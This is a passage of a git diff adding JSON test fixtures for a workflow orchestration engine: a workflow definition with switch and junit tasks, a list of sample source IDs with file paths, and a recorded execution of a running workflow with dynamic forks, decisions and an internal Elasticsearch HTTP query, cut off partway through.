"outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + } + ], + "startDelay": 0 + }, + { + "name": "finalcondition", + "taskReferenceName": "tf", + "inputParameters": { + "finalCase": "{workflow.input.finalCase}" + }, + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "finalCase", + "decisionCases": { + "notify": [ + { + "name": "junit_task_4", + "taskReferenceName": "junit_task_4", + "type": "SIMPLE", + "startDelay": 0, + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "junit_task_4", + "description": "junit_task_4", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + } + ] + }, + "startDelay": 0 + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "schemaVersion": 2, + "ownerEmail": "unit@test.com" +} diff --git a/core/src/test/resources/payload.json b/core/src/test/resources/payload.json new file mode 100644 index 0000000..c13bc5d --- /dev/null +++ b/core/src/test/resources/payload.json @@ -0,0 +1,423 @@ +{ + "imageType": "TEST_SAMPLE", + "filteredSourceList": { + "TEST_SAMPLE": [ + { + "sourceId": "1413900_10830", + "url": "file/location/a0bdc4d0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_50241", + "url": "file/location/cd4e00a0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-55ee8663-85c2-42d3-aca2-4076707e6d4e", + "url": "file/sample/location/e008d018-63d7-44b2-b07e-c7435430ac71" + }, + { + "sourceId": "generated-14056154-1544-4350-81db-b3751fe44777", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-0b0ae5ea-d5c5-410c-adc9-bf16d2909c2e", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-08869779-614d-417c-bfea-36a3f8f199da", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-e117db45-1c48-45d0-b751-89386eb2d81d", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f0221421-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/4a009209-002f-4b58-8b96-cb2198f8ba3c" + }, + { + "sourceId": "f0252161-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/55b56298-5e7a-4949-b919-88c5c9557e8e" + }, + { + "sourceId": "f038d070-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/3c4804f4-e826-436f-90c9-52b8d9266d52" + }, + { + "sourceId": "f04e0621-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/689283a1-1816-48ef-83da-7f9ac874bf45" + }, + { + "sourceId": "f04ddf10-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/586666ae-7321-445a-80b6-323c8c241ecd" + }, + { + "sourceId": "f05950c0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/31795cc4-2590-4b20-a617-deaa18301f99" + }, + { + "sourceId": "1413900_46819", + "url": "file/location/c74497a0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_11177", + "url": "file/location/a231c730-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_48713", + "url": "file/location/ca638ae0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_48525", + "url": "file/location/ca0c9140-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_73303", + "url": "file/location/d5943a40-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_55202", + "url": "file/location/d1a4d7a0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-61413adf-3c10-4484-b25d-e238df898f45", + "url": "file/sample/location/e008d018-63d7-44b2-b07e-c7435430ac71" + }, + { + "sourceId": "generated-addca397-f050-4339-ae86-9ba8c4e1b0d5", + "url": "file/sample/location/838a0ddb-a315-453a-8b8a-fa795f9d7691" + }, + { + "sourceId": "generated-e4de9810-0f69-4593-8926-01ed82cbebcb", + "url": "file/sample/location/838a0ddb-a315-453a-8b8a-fa795f9d7691" + }, + { + "sourceId": "generated-e16e2074-7af6-4700-ab05-ca41ba9c9ab4", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-341c86f8-57a5-40e1-8842-3eb41dd9f528", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-88c2ea9b-cef7-4120-8043-b92713d8fade", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-3f6a731f-3c92-4677-9923-f80b8a6be632", + "url": "file/sample/location/3881aea9-a731-4e22-9ead-2d6eccc51140" + }, + { + "sourceId": "generated-1508b871-64de-47ce-8b07-76c5cb3f3e1e", + "url": "file/sample/location/a2e4195f-3900-45b4-9335-45f85fca6467" + }, + { + "sourceId": "generated-1406dce8-7b9c-4956-a7e8-78721c476ce9", + "url": "file/sample/location/a2e4195f-3900-45b4-9335-45f85fca6467" + }, + { + "sourceId": "f0206671-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/35ebee36-3072-44c5-abb5-702a5a3b1a91" + }, + { + "sourceId": "f01f5501-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d3a9133d-c681-4910-a769-8195526ae634" + }, + { + "sourceId": "f022b060-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/8fc1413d-170e-4644-a554-5e0c596b225c" + }, + { + "sourceId": "f02fa8b1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/35bed0a2-7def-457b-bded-4f4d7d94f76e" + }, + { + "sourceId": "f031f2a0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/a5a2ea1f-8d13-429c-a44d-3057d21f608a" + }, + { + "sourceId": "f0424650-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/1c599ffc-4f10-4c0b-8d9a-ae41c7256113" + }, + { + "sourceId": "f04ec970-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/8404a421-e1a6-41cf-af63-a35ccb474457" + }, + { + "sourceId": "1413900_47197", + "url": "file/location/c81b6fa0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-2a63c0c8-62ea-44a4-a33b-f0b3047e8b00", + "url": "file/sample/location/e008d018-63d7-44b2-b07e-c7435430ac71" + }, + { + "sourceId": "generated-b27face7-3589-4209-944a-5153b20c5996", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-144675b3-9321-48d2-8b5b-e19a40d30ef2", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-8cbe821e-b1fb-48ce-beb5-735319af4db6", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-ecc4ea47-9bad-4b91-97c7-35f4ea6fb479", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-c1eb9ed0-8560-4e09-a748-f926edb7cdc2", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-6bed81fd-c777-4c61-8da1-0bb7f7cf0082", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-852e5510-dd5d-4900-a614-854148fcc716", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-f4dedcb7-37c9-4ba9-ab37-64ec9be7c882", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f0259691-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/721bc0de-e75f-4386-8b2e-ca84eb653596" + }, + { + "sourceId": "f02b3be1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d2043b17-8ce5-42ee-a5e4-81c68f0c4838" + }, + { + "sourceId": "f02b62f0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/63931561-3b5b-4ffe-af47-da2c9de94684" + }, + { + "sourceId": "f0315660-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d99ed629-2885-4e4a-8a1b-22e487b875fa" + }, + { + "sourceId": "f0306c00-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/6f8e673a-7003-44aa-96b9-e2ed8a4654ff" + }, + { + "sourceId": "f033c760-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/627c00f9-14b3-4057-b6e2-0f962ad0308e" + }, + { + "sourceId": "f03526f1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/fafabaf9-fe58-4a9a-b555-026521aeb2fe" + }, + { + "sourceId": "f03acc41-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/6c9fed2c-558a-4db3-8360-659b5e8c46e4" + }, + { + "sourceId": "f0463df1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/e9fb83d2-5f14-4442-92b5-67e613f2e35f" + }, + { + "sourceId": "f04fb3d0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/e7a0f82f-be8d-4ada-a4b1-13e8165e08be" + }, + { + "sourceId": "f05272f0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/9aba488a-22b3-4932-85a7-52c461203541" + }, + { + "sourceId": "f0581841-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/457415f6-6d0c-4304-8533-0d5b43fac564" + }, + { + "sourceId": "generated-8fefb48c-6fde-4fd6-8f33-a1f3f3b62105", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-30c61aa5-f5bd-4077-8c32-336b87acbe96", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-d5da37db-d486-46d4-8f7d-1e0710a77eb5", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-77af26fe-9e22-48af-99e3-f63f10fbe6de", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-2e807016-3d11-4b60-bec7-c380a608b67d", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-615d02e9-62c2-43ab-9df7-753b6b8e2c22", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-3e1600fd-a626-4ee6-972b-5f0187e96c38", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "generated-1dcb208c-6a58-4334-a60c-6fb54c8a2af5", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f024ac30-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/0af2107b-4231-4d23-bef3-4e417ac6c5d3" + }, + { + "sourceId": "f0282ea1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/0f592681-fd23-4194-ae43-42f61c664485" + }, + { + "sourceId": "f02c4d50-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/ec46b9a3-99af-410a-af7d-726f8854909f" + }, + { + "sourceId": "f02b8a00-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/aed7e5da-b524-4d41-b264-28ce615ec826" + }, + { + "sourceId": "f02b14d1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/b88c9055-ab0d-4d27-a405-265ba2a15f0c" + }, + { + "sourceId": "f03044f1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/fb8c4df9-d59e-4ac3-880e-4ea94cd880a4" + }, + { + "sourceId": "f034ffe1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/59f3fbe8-b300-4861-9b2f-dac7b15aea7d" + }, + { + "sourceId": "f03c2bd0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/19a06d54-41ed-419d-9947-f10cd5f0d85c" + }, + { + "sourceId": "f03fae41-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/a9a48a62-7d62-4f67-b281-cc6fdc1e722c" + }, + { + "sourceId": "f0455390-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/0aeffc0a-a5ad-46ff-abab-1b3bc6a5840a" + }, + { + "sourceId": "f04b1ff1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/9a08aaed-c125-48f7-9d1d-fd11266c2b12" + }, + { + "sourceId": "f04cf4b1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/17a6e0f9-aa64-411f-9af7-837c84f7443f" + }, + { + "sourceId": "f0511360-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/fb633c73-cb33-4806-bc08-049024644856" + }, + { + "sourceId": "f0538460-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/a7012248-6769-42da-a6c8-d4b831f6efce" + }, + { + "sourceId": "f058db91-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/bcf71522-6168-48c4-86c9-995bca60ae51" + }, + { + "sourceId": "generated-adf005c4-95c1-4904-9968-09cc19a26bfe", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-c4d367a4-4cdc-412e-af79-09b227f2e3ba", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-48dba018-f884-49db-b87e-67274e244c8f", + "url": "file/sample/location/4bce4154-fb4b-4f0a-887d-a0cd12d4d214" + }, + { + "sourceId": "generated-26700b83-4892-420e-8b46-1ee21eba75fb", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-632f3198-c0dc-4348-974f-51684d4e443e", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "generated-86e2dd1d-1aa4-4dbe-b37b-b488f5dd1c70", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f04134e0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/ff8f59bf-7757-4d51-a7e4-619f3e8ffaf2" + }, + { + "sourceId": "f04f65b0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d66467d1-3ac6-4041-8d15-e722ee07231f" + }, + { + "sourceId": "1413900_15255", + "url": "file/location/a9e20260-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-e953493b-cbe3-4319-885e-00c82089c76c", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-65c54676-3adb-4ef0-b65e-8e2a49533cbf", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "f02ac6b0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/21568877-07a5-411f-9715-5e92806c4448" + }, + { + "sourceId": "f02fcfc1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/f3b1f1a2-48d3-475d-a607-2e5a1fe532e7" + }, + { + "sourceId": "f03526f0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/84a40c66-d925-4a4a-ba62-8491d26e29e9" + }, + { + "sourceId": "f03e75c1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/e84c00e8-a148-46cf-9a0b-431c4c2aeb08" + }, + { + "sourceId": "f0429471-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/178de9fa-7cc8-457a-8fb6-5c080e6163ea" + }, + { + "sourceId": "f047eba0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/18d153aa-e13b-4264-ae03-f3da75eb425b" + }, + { + "sourceId": "f04fdae0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/7c843e53-8d87-47cf-bca5-1a02e7f5e33f" + }, + { + "sourceId": "f0553210-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/26bacd65-9082-4d83-9506-90e5f1ccd16a" + }, + { + "sourceId": "1413900_84904", + "url": "file/location/d8f7b090-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-84adc784-8d7d-4088-ba51-16fde57fbc21", + "url": "file/sample/location/3881aea9-a731-4e22-9ead-2d6eccc51140" + }, + { + "sourceId": "generated-9e49c58b-0b33-4daf-a39a-8fc91e302328", + "url": "file/sample/location/4bce4154-fb4b-4f0a-887d-a0cd12d4d214" + }, + { + "sourceId": "f02dd3f1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/8937b328-8f0d-4762-8d1f-7d7bc80c3d2e" + }, + { + "sourceId": "f03240c0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/aab6e386-4d59-4b40-b257-9aed12a45446" + } + ] + } +} \ No newline at end of file diff --git a/core/src/test/resources/test.json b/core/src/test/resources/test.json new file mode 100644 index 0000000..e2c1a8b --- /dev/null +++ b/core/src/test/resources/test.json @@ -0,0 +1,1277 @@ +{ + "ownerApp": "cpeworkflowtests", + "createTime": 1505587453961, + "updateTime": 1505588471071, + "status": "RUNNING", + "endTime": 0, + "workflowId": "46e2d0d7-0809-40f2-9f22-bed9d41f6613", + "tasks": [ + { + "taskType": "perf_task_1", + "status": "COMPLETED", + "inputData": { + "mod": "0", + "oddEven": "0" + }, + "referenceTaskName": "perf_task_1", + "retryCount": 0, + "seq": 1, + "correlationId": "1505587453950", + "pollCount": 1, + "taskDefName": "perf_task_1", + "scheduledTime": 1505587453972, + "startTime": 1505587455481, + "endTime": 1505587455539, + "updateTime": 1505587455539, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 3600, + "workflowInstanceId": "46e2d0d7-0809-40f2-9f22-bed9d41f6613", + "taskId": "3a54e268-0054-4eab-aea2-e54d1b89896c", + "callbackAfterSeconds": 0, + "outputData": { + "mod": "5", + "oddEven": "1", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": { + }, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": null, + "optional": null, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + } + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": { + }, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": null, + "optional": null, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + } + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": { + }, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": null, + "optional": null, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + } + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_1", + "taskReferenceName": "perf_task_1", + "inputParameters": { + "mod": "${workflow.input.mod}", + "oddEven": "${workflow.input.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + "queueWaitTime": 1509, + "taskStatus": "COMPLETED" + }, + { + "taskType": "perf_task_10", + "status": "COMPLETED", + "inputData": { + "taskToExecute": "perf_task_10" + }, + "referenceTaskName": "perf_task_2", + "retryCount": 0, + "seq": 2, + "correlationId": "1505587453950", + "pollCount": 1, + "taskDefName": "perf_task_10", + "scheduledTime": 1505587455517, + "startTime": 1505587457017, + "endTime": 1505587457075, + "updateTime": 1505587457075, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 3600, + "workflowInstanceId": "46e2d0d7-0809-40f2-9f22-bed9d41f6613", + "taskId": "3731c3ee-f918-42b7-8bb3-fb016fc0ecae", + "callbackAfterSeconds": 0, + "outputData": { + "mod": "1", + "oddEven": "1", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": { + }, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": null, + "optional": null, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + } + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": { + }, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": null, + "optional": null, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + } + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": { + }, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": null, + "optional": null, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + } + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_10", + "taskReferenceName": "perf_task_2", + "inputParameters": { + "taskToExecute": "${workflow.input.task2Name}" + }, + "type": "DYNAMIC", + "dynamicTaskNameParam": "taskToExecute", + "startDelay": 0 + }, + "queueWaitTime": 1500, + "taskStatus": "COMPLETED" + }, + { + "taskType": "perf_task_3", + "status": "COMPLETED", + "inputData": { + "mod": "1", + "oddEven": "1" + }, + "referenceTaskName": "perf_task_3", + "retryCount": 0, + "seq": 3, + "correlationId": "1505587453950", + "pollCount": 1, + "taskDefName": "perf_task_3", + "scheduledTime": 1505587457064, + "startTime": 1505587459498, + "endTime": 1505587459560, + "updateTime": 1505587459560, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 3600, + "workflowInstanceId": "46e2d0d7-0809-40f2-9f22-bed9d41f6613", + "taskId": "738370d6-596f-4ae5-95bf-ca635c7f10dd", + "callbackAfterSeconds": 0, + "outputData": { + "mod": "6", + "oddEven": "0", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": { + }, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": null, + "optional": null, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + } + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": { + }, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": null, + "optional": null, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + } + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": { + }, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": null, + "optional": null, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + } + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_3", + "taskReferenceName": "perf_task_3", + "inputParameters": { + "mod": "${perf_task_2.output.mod}", + "oddEven": "${perf_task_2.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + "queueWaitTime": 2434, + "taskStatus": "COMPLETED" + }, + { + "taskType": "HTTP", + "status": "COMPLETED", + "inputData": { + "http_request": { + "uri": "/wfe_perf/workflow/_search?q=status:RUNNING&size=0&beta", + "method": "GET", + "vipAddress": "es_cpe_wfe.us-east-1.cloud.netflix.com" + } + }, + "referenceTaskName": "get_es_1", + "retryCount": 0, + "seq": 4, + "correlationId": "1505587453950", + "pollCount": 1, + "taskDefName": "get_from_es", + "scheduledTime": 1505587459547, + "startTime": 1505587459996, + "endTime": 1505587460250, + "updateTime": 1505587460250, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "46e2d0d7-0809-40f2-9f22-bed9d41f6613", + "taskId": "64b49d62-1dfb-4290-94d4-971b4d033f33", + "callbackAfterSeconds": 0, + "workerId": "i-04c53d07aba5b5e9c", + "outputData": { + "response": { + "headers": { + "Content-Length": [ + "121" + ], + "Content-Type": [ + "application/json; charset=UTF-8" + ] + }, + "reasonPhrase": "OK", + "body": { + "took": 1, + "timed_out": false, + "_shards": { + "total": 6, + "successful": 6, + "failed": 0 + }, + "hits": { + "total": 1, + "max_score": 0.0, + "hits": [] + } + }, + "statusCode": 200 + } + }, + "workflowTask": { + "name": "get_from_es", + "taskReferenceName": "get_es_1", + "type": "HTTP", + "startDelay": 0 + }, + "queueWaitTime": 449, + "taskStatus": "COMPLETED" + }, + { + "taskType": "DECISION", + "status": "COMPLETED", + "inputData": { + "hasChildren": "true", + "case": "0" + }, + "referenceTaskName": "oddEvenDecision", + "retryCount": 0, + "seq": 5, + "correlationId": "1505587453950", + "pollCount": 0, + "taskDefName": "DECISION", + "scheduledTime": 1505587460216, + "startTime": 1505587460241, + "endTime": 1505587460274, + "updateTime": 1505587460274, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "46e2d0d7-0809-40f2-9f22-bed9d41f6613", + "taskId": "5a596a36-09eb-4a11-a952-01ab5a7c362f", + "callbackAfterSeconds": 0, + "outputData": { + "caseOutput": [ + "0" + ] + }, + "workflowTask": { + "name": "oddEvenDecision", + "taskReferenceName": "oddEvenDecision", + "inputParameters": { + "oddEven": "${perf_task_3.output.oddEven}" + }, + "type": "DECISION", + "caseValueParam": "oddEven", + "decisionCases": { + "0": [ + { + "name": "perf_task_4", + "taskReferenceName": "perf_task_4", + "inputParameters": { + "mod": "${perf_task_3.output.mod}", + "oddEven": "${perf_task_3.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "dynamic_fanout", + "taskReferenceName": "fanout1", + "inputParameters": { + "dynamicTasks": "${perf_task_4.output.dynamicTasks}", + "input": "${perf_task_4.output.inputs}" + }, + "type": "FORK_JOIN_DYNAMIC", + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "input", + "startDelay": 0 + }, + { + "name": "dynamic_join", + "taskReferenceName": "join1", + "type": "JOIN", + "startDelay": 0 + }, + { + "name": "perf_task_5", + "taskReferenceName": "perf_task_5", + "inputParameters": { + "mod": "${perf_task_4.output.mod}", + "oddEven": "${perf_task_4.output.oddEven}" + }, + "type": "SIMPLE", + "startDelay": 0 + }, + { + "name": "perf_task_6", + "taskReferenceName": "perf_task_6", + "inputParameters": { + "mod": "${perf_task_5.output.mod}", + "oddEven": "${perf_task_5.output.oddEven}" + }, + 